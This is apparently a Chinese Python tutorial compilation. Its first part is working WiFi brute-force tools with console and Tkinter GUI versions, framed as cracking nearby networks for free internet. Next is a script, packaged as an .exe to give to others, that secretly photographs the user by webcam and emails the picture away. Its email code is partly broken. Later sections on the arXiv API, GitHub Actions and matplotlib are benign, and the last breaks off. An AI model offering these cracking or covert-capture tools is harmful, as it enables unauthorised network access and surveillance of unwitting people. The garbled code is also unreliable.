Python-Awesome Project

暴力破解附近局域网WiFi密码

前言

本文将记录学习下如何通过 Python 脚本实现 WIFI 密码的暴力破解，从而实现免费蹭网。

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

import pywifi
from pywifi import const
import time
import datetime


# 测试连接，返回链接结果
def wifiConnect(pwd):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = "Tr0e"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")


# 读取密码本
def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    # 密码本路径
    path = "pwd.txt"
    # 打开文件
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密码已破解：", pwd)
                print("[*] WiFi已自动连接！！！")
                success = True
                break
            else:
                # 跳出当前循环，进行下一次循环
                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")
    exit(0)


if __name__=="__main__":
    readPassword()

代码运行效果：

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径，缺少灵活性。下面进行改造优化：

import pywifi
import time
from pywifi import const


# WiFi扫描模块
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一个无线网卡
    interface = wifi.interfaces()[0]
    # 开始扫描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i), end='）')
    print('\r扫描完成！\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    # 扫描结果，scan_results()返回一个集，存放的是每个wifi对象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解决乱码问题
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list


# WIFI破解模块
def wifi_password_crack(wifi_name):
    # 字典路径
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典（txt格式，每个密码占据1行）的路径：")
    with open(wifi_dic_path, 'r') as f:
        # 遍历密码
        for pwd in f:
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            # 创建wifi对象
            wifi = pywifi.PyWiFi()
            # 创建网卡对象，为第一个wifi网卡
            interface = wifi.interfaces()[0]
            # 断开所有wifi连接
            interface.disconnect()
            # 等待其断开
            while interface.status() == 4:
                # 当其处于连接状态时，利用循环等待其断开
                pass
            # 创建连接文件（对象）
            profile = pywifi.Profile()
            # wifi名称
            profile.ssid = wifi_name
            # 需要认证
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默认加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密码
            profile.key = pwd
            # 删除所有wifi连接文件
            interface.remove_all_network_profiles()
            # 设置新的wifi连接文件
            tmp_profile = interface.add_network_profile(profile)
            # 开始尝试连接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 接口状态为4代表连接成功（当尝试时间大于1.5秒之后则为错误密码，经测试测正确密码一般都在1.5秒内连接，若要提高准确性可以设置为2s或以上，相应暴力破解速度就会变慢）
                if interface.status() == 4:
                    print(f'\r连接成功！密码为：{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密码 {pwd} 尝试破解。', end='')

# 主函数
def main():
    # 退出标致
    exit_flag = 0
    # 目标编号
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi万能钥匙'.center(35, '-'))
            # 调用扫描模块，返回一个排序后的wifi列表
            wifi_list = wifi_scan()
            # 让用户选择要破解的wifi编号，并对用户输入的编号进行判断和异常处理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('请选择你要尝试破解的wifi：'))
                    # 如果要选择的wifi编号在列表内，继续二次判断，否则重新输入
                    if target_num in range(len(wifi_list)):
                        # 二次确认
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你选择要破解的WiFi名称是：{wifi_list[target_num][1]}，确定吗？（Y/N）'))
                                # 对用户输入进行小写处理，并判断
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 处理用户其它字母输入
                                else:
                                    print('只能输入 Y/N 哦o(*￣︶￣*)o')
                            # 处理用户非字母输入
                            except ValueError:
                                print('只能输入 Y/N 哦o(*￣︶￣*)o')
                        # 退出破解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('请重新输入哦(*^▽^*)')
                except ValueError:
                    print('只能输入数字哦o(*￣︶￣*)o')
            # 密码破解，传入用户选择的wifi名称
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e


if __name__ == '__main__':
    main()

脚本运行效果如下：

上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称，并且可供用户自主选择需要暴力破解的 WIFI，同时还可灵活指定暴力破解的字典，相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件，双击运行效果如下：

图形化界面

下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本，实现友好的可视化 WIFI 暴力破解界面工具。

简单版UI

from tkinter import *
from pywifi import const
import pywifi
import time


# 主要步骤：
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect(str, wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密码正确' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
                text.see(END)
                text.update()
        except:
            continue


# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称：')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()

脚本运行效果：

UI升级版

以上图形界面未允许选择密码字典，下面进行优化升级：

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框


class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数，返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("WIFI破解工具")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="配置")  # 框架，以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径：").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号：").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码：").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres

    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

    # 读取密码字典，进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确！wifi名：%s，匹配密码：%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功！！！')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误！wifi名:%s，匹配密码：%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

以上基于 Python 的 GUI 图形界面开发库 Tkinter，实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码。

获取摄像头照片

需要安装python3.5以上版本，在官网下载即可。

然后安装库opencv-python，安装方式为打开终端输入命令行。

可以在使用pip的时候加参数-i https://pypi.tuna.tsinghua.edu.cn/simple，这样就会从清华这边的镜像去安装需要的库，会快很多。

pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/

具体的代码以及相应的注释如下，你只需要更改收件人和发件人为自己的邮箱，更改授权码，再编译成可执行文件，即把.py打包成.exe，这样就可以发给别人用啦。

import os                                       # 删除图片文件
import cv2                                      # 调用摄像头拍摄照片
from smtplib import SMTP_SSL                    # SSL加密的   传输协议
from email.mime.text import MIMEText            # 构建邮件文本
from email.mime.multipart import MIMEMultipart  # 构建邮件体
from email.header import Header                 # 发送内容


# 调用摄像头拍摄照片
def get_photo():
    cap = cv2.VideoCapture(0)           # 开启摄像头
    f, frame = cap.read()               # 将摄像头中的一帧图片数据保存
    cv2.imwrite('image.jpg', frame)     # 将图片保存为本地文件
    cap.release()                       # 关闭摄像头


# 把图片文件发送到我的邮箱
def send_message():
    # 选择QQ邮箱发送照片
    host_server = 'smtp.qq.com'         # QQ邮箱smtp服务器
    pwd = '****************'            # 授权码
    from_qq_mail = 'QQ@qq.com'          # 发件人
    to_qq_mail = 'QQ@qq.com'            # 收件人
    msg = MIMEMultipart()               # 创建一封带附件的邮件

    msg['Subject'] = Header('摄像头照片', 'UTF-8')    # 消息主题
    msg['From'] = from_qq_mail                       # 发件人
    msg['To'] = Header(YH, 'UTF-8')                # 收件人
    msg.attach(MIMEText(照片, 'html', 'UTF-8'))    # 添加邮件文本信息

    # 加载附件到邮箱中  SSL 方式   加密
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image[Content-Type] = 'image/jpeg'   # 附件格式为图片的加密数据
    msg.attach(image)                      # 附件添加

    # 开始发送邮件
    smtp = SMTP_SSL(host_server)           # 链接服务器
    smtp .login(from_qq_mail, pwd)         # 登录邮箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱
    smtp.quit()     # 退出


if __name__ == '__main__':
    get_photo()                 # 开启摄像头获取照片
    send_message()              # 发送照片
    os.remove('image.jpg')      # 删除本地照片

获取授权码的方法：设置->账户->开启pop3/smtp服务->验证密保，即可获取到16位授权码。

打包方法：

1. 先安装pyinstaller，在终端中输入pip install pyinstaller即可。

2. 找路径，用cd法找路径比较麻烦，这里推荐一种简便的方法，直接在路径框里面输入cmd进入终端即可，进入了就是目标路径

3. 打包，输入命令行

pyinstaller --console --onefile 7.py  //这里打包的是一个叫7.py的文件。

在dist文件夹里面即可找到可执行文件。

最后实验一下，会得到一个bin后缀的附件，把他改成jpg即可查看。

自动获取arXiv论文摘要

经常关注学术界最新动态的同学对arXiv可能会非常熟悉，它是全球最大的学术开放共享平台，目前存储了8个学科领域近200万篇学术文章，学者们经常会将其即将发表的文章挂在arXiv上进行同行评议，这极大地促进了学术界的开放性与协作性。

如何正确使用arXiv?

众多的文章让人眼花缭乱，让人无法马上获取自己关注领域的文章。使用arXiv API+ Github Actions实现每天自动从arXiv获取相关主题文章并发布在Github的功能。

首先给出最终效果图，下图所示为 Github 页面中的README.md，它以表格的形式列出了关于SLAM的最新文章。

arXiv API 简介

基本语法

arXiv API允许用户以编程方式访问arXiv.org上托管的数百万份电子论文。arXiv API用户手册提供了论文检索的基本语法，按照其提供的语法检索可得到对应论文的metadata，即元数据，包括论文题目，作者，摘要，评论等信息。API调用的格式如下所示：

http://export.arxiv.org/api/{method_name}?{parameters}

以method_name=query为例子，我们想要检索论文作者Adrian DelMaestro且论文题目中包含checkerboard的文章，可以这么写：

http://export.arxiv.org/api/query?search_query=au:del_maestro+AND+ti:checkerboard

其中前缀au表示author，ti表示Title，+是对空格的编码（由于url中不可出现空格）。

prefix	explanation
ti	Title
au	Author
abs	Abstract
co	Comment
jr	Journal Reference
cat	Subject Category
rn	Report Number
id	Id (use id_list instead)
all	All of the above

另外，AND表示与运算，API的query方法支持布尔运算：AND、OR以及ANDNOT。

上述搜索的结果是以Atom feeds的形式返回的，任何能够进行HTTP请求并能够解析Atom feeds的语言都可调用该API，以Python为例：

import urllib.request as libreq
with libreq.urlopen('http://export.arxiv.org/api/query?search_query=au:del_maestro+AND+ti:checkerboard') as url:
    r = url.read()
print(r)

打印出的结果中包含了论文的metadata，那么接下来的任务是解析该数据并将其中我们关注的信息按照某种格式写下来。

arxiv.py 小试牛刀

已经有人帮我们做好了上述结果的解析，我们不必重复造轮子。同时，论文查询的方式也更加优雅。在这里我们推荐的是arxiv.py。

首先安装arxiv.py：

pip install arxiv

然后在Python脚本中import arxiv即可。

以搜索SLAM为关键词，要求返回10个结果，同时按照发布日期排序，脚本如下：

import arxiv

search = arxiv.Search(
  query = "SLAM",
  max_results = 10,
  sort_by = arxiv.SortCriterion.SubmittedDate
)
for result in search.results():
  print(result.entry_id, '->', result.title)

上述脚本中(Search).results()函数返回了论文的metadata，arxiv.py已经帮我们解析好了，可以直接调用诸如result.title这样的元素，类似的还有如下元素：

element	explanation

上述搜索脚本在终端打印出如下结果：

http://arxiv.org/abs/2110.11040v1 -> InterpolationSLAM: A Novel Robust Visual SLAM System in Rotational Motion
http://arxiv.org/abs/2110.10329v1 -> SLAM: A Unified Encoder for Speech and Language Modeling via Speech-Text Joint Pre-Training
http://arxiv.org/abs/2110.09156v1 -> Enhancing exploration algorithms for navigation with visual SLAM
http://arxiv.org/abs/2110.08977v1 -> Accurate and Robust Object-oriented SLAM with 3D Quadric Landmark Construction in Outdoor Environment
http://arxiv.org/abs/2110.08639v1 -> Partial Hierarchical Pose Graph Optimization for SLAM
http://arxiv.org/abs/2110.07546v1 -> Active SLAM over Continuous Trajectory and Control: A Covariance-Feedback Approach
http://arxiv.org/abs/2110.06541v2 -> Collaborative Radio SLAM for Multiple Robots based on WiFi Fingerprint Similarity
http://arxiv.org/abs/2110.05734v1 -> Learning Efficient Multi-Agent Cooperative Visual Exploration
http://arxiv.org/abs/2110.03234v1 -> Self-Supervised Depth Completion for Active Stereo
http://arxiv.org/abs/2110.02593v1 -> InterpolationSLAM: A Novel Robust Visual SLAM System in Rotating Scenes

接下来的脚本daily_arxiv.py将实现从arXiv获取关于SLAM的论文，并将论文的发布时间、论文名、作者以及代码等信息制作成Markdown表格并写为README.md文件。

import datetime
import requests
import json
import arxiv
import os
def get_authors(authors, first_author = False):
    output = str()
    if first_author == False:
        output = ", ".join(str(author) for author in authors)
    else:
        output = authors[0]
    return output
def sort_papers(papers):
    output = dict()
    keys = list(papers.keys())
    keys.sort(reverse=True)
    for key in keys:
        output[key] = papers[key]
    return output    

def get_daily_papers(topic,query="slam", max_results=2):
    """
    @param topic: str
    @param query: str
    @return paper_with_code: dict
    """

    # output 
    content = dict() 

    search_engine = arxiv.Search(
        query = query,
        max_results = max_results,
        sort_by = arxiv.SortCriterion.SubmittedDate
    )

    for result in search_engine.results():

        paper_id       = result.get_short_id()
        paper_title    = result.title
        paper_url      = result.entry_id

        paper_abstract = result.summary.replace("\n"," ")
        paper_authors  = get_authors(result.authors)
        paper_first_author = get_authors(result.authors,first_author = True)
        primary_category = result.primary_category

        publish_time = result.published.date()

        print("Time = ", publish_time ,
              " title = ", paper_title,
              " author = ", paper_first_author)

        # eg: 2108.09112v1 -> 2108.09112
        ver_pos = paper_id.find('v')
        if ver_pos == -1:
            paper_key = paper_id
        else:
            paper_key = paper_id[0:ver_pos] 

        content[paper_key] = f"|**{publish_time}**|**{paper_title}**|{paper_first_author} et.al.|[{paper_id}]({paper_url})|\n"
    data = {topic:content}

    return data 

def update_json_file(filename,data_all):
    with open(filename,"r") as f:
        content = f.read()
        if not content:
            m = {}
        else:
            m = json.loads(content)

    json_data = m.copy() 

    # update papers in each keywords         
    for data in data_all:
        for keyword in data.keys():
            papers = data[keyword]

            if keyword in json_data.keys():
                json_data[keyword].update(papers)
            else:
                json_data[keyword] = papers

    with open(filename,"w") as f:
        json.dump(json_data,f)

def json_to_md(filename):
    """
    @param filename: str
    @return None
    """

    DateNow = datetime.date.today()
    DateNow = str(DateNow)
    DateNow = DateNow.replace('-','.')

    with open(filename,"r") as f:
        content = f.read()
        if not content:
            data = {}
        else:
            data = json.loads(content)

    md_filename = "README.md"  

    # clean README.md if daily already exist else create it
    with open(md_filename,"w+") as f:
        pass

    # write data into README.md
    with open(md_filename,"a+") as f:

        f.write("## Updated on " + DateNow + "\n\n")

        for keyword in data.keys():
            day_content = data[keyword]
            if not day_content:
                continue
            # the head of each part
            f.write(f"## {keyword}\n\n")
            f.write("|Publish Date|Title|Authors|PDF|\n" + "|---|---|---|---|\n")
            # sort papers by date
            day_content = sort_papers(day_content)

            for _,v in day_content.items():
                if v is not None:
                    f.write(v)

            f.write(f"\n")
    print("finished")     

if __name__ == "__main__":

    data_collector = []
    keywords = dict()
    keywords["SLAM"] = "SLAM"

    for topic,keyword in keywords.items():

        print("Keyword: " + topic)
        data = get_daily_papers(topic, query = keyword, max_results = 10)
        data_collector.append(data)
        print("\n")

    # update README.md file
    json_file = "cv-arxiv-daily.json"
    if ~os.path.exists(json_file):
        with open(json_file,'w')as a:
            print("create " + json_file)
    # update json data
    update_json_file(json_file,data_collector)
    # json data to markdown
    json_to_md(json_file)

上述脚本的要点在于：

1. 检索的主题和关键词都是SLAM，返回最新的10篇文章;
2. 注意，上述主题是用作表格前二级标题的名字，而关键词才是真正要检索的内容，特别注意对于有空格关键词多搜索格式，如camera localization要写成\"camera Localization\"，其中的\"表转义，各位同学可按照规则增加自己感兴趣的keywords;
3. 论文列表按照发布在arXiv上的时间排序，最新的排在最前面;

这看起来似乎已经大功告成，但这里存在两个问题：1. 每次使用必须手动运行；2. 仅可在本地进行查看。为了能够每天自动地运行上述脚本且同步在Github仓库，Github Actions就派上用场了。

Github Actions 简介

再次明确，我们的目标是使用GitHub Actions每天自动从arXiv获取关于SLAM的论文，并将论文的发布时间、论文名、作者以及代码等信息制作成Markdown表格发布在Github上。

什么是 Github Actions ?

Github Actions 是 GitHub 的持续集成服务，于2018年10月推出。

以下是官方解释：

“GitHub Actions help you automate tasks within your software development life cycle. GitHub Actions are event-driven, meaning that you can run a series of commands after a specified event has occurred. For example, every time someone creates a pull request for a repository, you can automatically run a command that executes a software testing script.
”

简而言之，GitHub Actions由Events驱动，可实现任务自动化。

基本概念

GitHub Actions 有一些自己的术语[10],[9]。

1. workflow （工作流程）：持续集成一次运行的过程，就是一个 workflow;
2. job （任务）：一个 workflow 由一个或多个 jobs 构成，含义是一次持续集成的运行，可以完成多个任务;
3. step（步骤）：每个 job 由多个 step 构成，一步步完成;
4. action （动作）：每个 step 可以依次执行一个或多个命令（action）;

部署

登陆自己的Github账号，新建一个仓库，如cv-arxiv-daily，点击Actions，然后点击Set up this workflow，如下图所示：

经过上述步骤后，会新建一个名为black.yml的文件（如下图所示），它所在的目录是.github/workflows/，注意这个目录绝对不可改变，这个文件夹下存放了需要执行的workflow，即工作流，GitHub Actions会自动识别这个文件夹下的yml工作流文件并按照规则执行。

这个black.yml实现了一个最简单的工作流：打印Hello, world!。

“需要注意的是GitHub Actions工作流有自己的一套语法，由于篇幅限制，不在此处细说，具体请参考这里[9]。
”

为了能够实现上节的python脚本daily_arxiv.py自动运行，不难得到如下工作流配置cv-arxiv-daily.yml，注意其中的两个环境变量GITHUB_USER_NAME以及GITHUB_USER_EMAIL分别替换成自己的ID与邮箱。

# name of workflow
name: Run Arxiv Papers Daily

# Controls when the workflow will run
on:
  # Allows you to run this workflow manually from the Actions tab
  workflow_dispatch:
  schedule:
    - cron:  "* 12 * * *"  # Runs every minute of 12th hour
env:

  GITHUB_USER_NAME: your_github_id # your github id
  GITHUB_USER_EMAIL: your_email_addr # your email address


# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
  # This workflow contains a single job called "build"
  build:
    name: update
    # The type of runner that the job will run on
    runs-on: ubuntu-latest

    # Steps represent a sequence of tasks that will be executed as part of the job
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Set up Python Env
        uses: actions/setup-python@v1
        with:
          python-version: 3.6        

      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          pip install arxiv
          pip install requests

      - name: Run daily arxiv 
        run: |
          python daily_arxiv.py

      - name: Push new cv-arxiv-daily.md
        uses: github-actions-x/commit@v2.8
        with:
          github-token: ${{ secrets.GITHUB_TOKEN }}
          commit-message: "Github Action Automatic Update CV Arxiv Papers"
          files: README.md cv-arxiv-daily.json
          rebase: 'true'
          name: ${{ env.GITHUB_USER_NAME }}
          email: ${{ env.GITHUB_USER_EMAIL }}

其中，workflow_dispatch表示用户可以通过手动点击的方式运行，schedule[7]表示定时执行，具体规则请查看Events that trigger workflows [8]。

这里使用了cron的语法，它有5个字段，分别用空格分开，具体如下：

┌───────────── minute (0 - 59)
│ ┌───────────── hour (0 - 23)
│ │ ┌───────────── day of the month (1 - 31)
│ │ │ ┌───────────── month (1 - 12 or JAN-DEC)
│ │ │ │ ┌───────────── day of the week (0 - 6 or SUN-SAT)
│ │ │ │ │
│ │ │ │ │
│ │ │ │ │
* * * * *

上述 workflow 的要点总结如下：

1. 每天 UTC 12:00 触发事件，运行workflow;
2. 仅有一个名为build的job，运行在虚拟机环境ubuntu-latest;
3. 第一步是获取源码，使用的 action 是 actions/checkout@v2;
4. 第二步是配置Python环境，使用的 action 是 actions/setup-python@v1，python版本是3.6;
5. 第三步是安装依赖库，分别进行升级pip，安装arxiv.py库，安装requests库;
6. 第四步是运行 daily_arxiv.py脚本，该步骤生成json临时文件以及对应的README.md;
7. 第五步是推送代码到本仓库，使用的 action 是 github-actions-x/commit@v2.8[11]，需要配置的参数包括，提交的commit-message，需要提交的文件files，Github用户名name以及邮箱email;

workflow成功部署后就会在Github repo下生成一个json文件以及README.md文件，同时将会看到如本文开头的文章列表，Github Action后台的log如下：

总结

本文介绍了一种使用Github Actions实现自动每天获取arXiv论文的方法，可较为方便地获取并预览感兴趣的最新文章。本文列举的例子较为方便修改，各位读者可通过增加keywords的内容来甄选感兴趣的主题。文中所有的代码已开源，地址见文章结尾。

最新的代码中增加了获取arXiv论文源代码的功能，增加了几个关键词以及增加了自动部署到一个Github Page页面的功能。

此外，本文列举的方法存在几个问题：1. 所生成的json文件为临时文件，可优化将其删除；2. README.md文件大小会随时间推移逐渐增大，后续可增加归档功能；3. 并非每个人每天都会浏览Github，后续将增加发送文章到个人邮箱的功能。

代码地址：https://github.com/Vincentqyw/cv-arxiv-daily

用Python搞定出版级论文配图绘制

Python-Matplotlib 绘制

首先，我们通过生成虚拟数据，使用matplotlib默认的颜色和图表样式进行绘制，如下：

import numpy as np
import matplotlib.pyplot as plt
# 构建数据
def model(x, p):
    return x ** (2 * p + 1) / (1 + x ** (2 * p))
x = np.linspace(0.75, 1.25, 201)
# 可视化绘制
fig, ax = plt.subplots(figsize=(4,3),dpi=200)
for p in [10, 15, 20, 30, 50, 100]:
    ax.plot(x, model(x, p), label=p)

1. 「设置全局图表属性变量」

